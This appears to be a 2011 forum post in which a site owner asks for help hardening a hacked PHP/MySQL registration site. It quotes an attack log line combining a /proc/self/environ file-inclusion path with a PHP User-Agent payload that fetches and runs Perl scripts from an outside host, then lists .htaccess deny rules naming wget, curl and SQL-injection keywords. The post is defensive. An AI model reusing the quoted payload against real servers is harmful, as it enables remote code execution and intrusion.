I am sorry having a really simple question but I need help ASAP as my website (a php/mysql registering app) has been attacked. So far this is what happened: ---------- 121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>" So I have two setting so fat that I would like to merge or check with this community to see if this would protect me better: code1 # proc/self/environ blocked this is what attacked your site RewriteCond %{QUERY_STRING} proc\/self\/environ [OR] # Block out any script trying to base64_encode stuff to send via URL RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR] # Block out any script trying to set a PHP GLOBALS variable via URL RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] # Send all blocked request to homepage with 403 Forbidden error! RewriteRule ^(.*)$ index.php [F,L] code 2 ## Block other useful stuff RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR] RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|
|
).* [NC,OR] RewriteCond %{HTTP_REFERER} ^(.*)(<|>|’|
|
|'|<|>|�).* [NC,OR] RewriteCond %{HTTP_COOKIE} ^.*(<|>|‚Äô|
|
|'|<|>|�).* [NC,OR] RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|‚Äù>|‚Äù<|/|\\\.\.\\).{0,9999}.* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|‚Äô|
|
|'|<|>|�).* [NC,OR] #Block MySQL injects RewriteCond %{QUERY_STRING} ^.*(;|<|>|‚Äô|‚Äù|\)|
|
|"|'|<|>|�).*(/\*|union|select|insert|cast|set|declare|drop|u pdate|md5|benchmark).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*\.[A-Za-z0-9].* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(<|>|‚Äô|
|
|'|<|>|�).* [NC] # Send all blocked request to homepage with 403 Forbidden error! RewriteRule ^(.*)$ index.php [F,L] Any help would be appreciated!:) Update: I have php.ini setup for register_global and magic_quotes off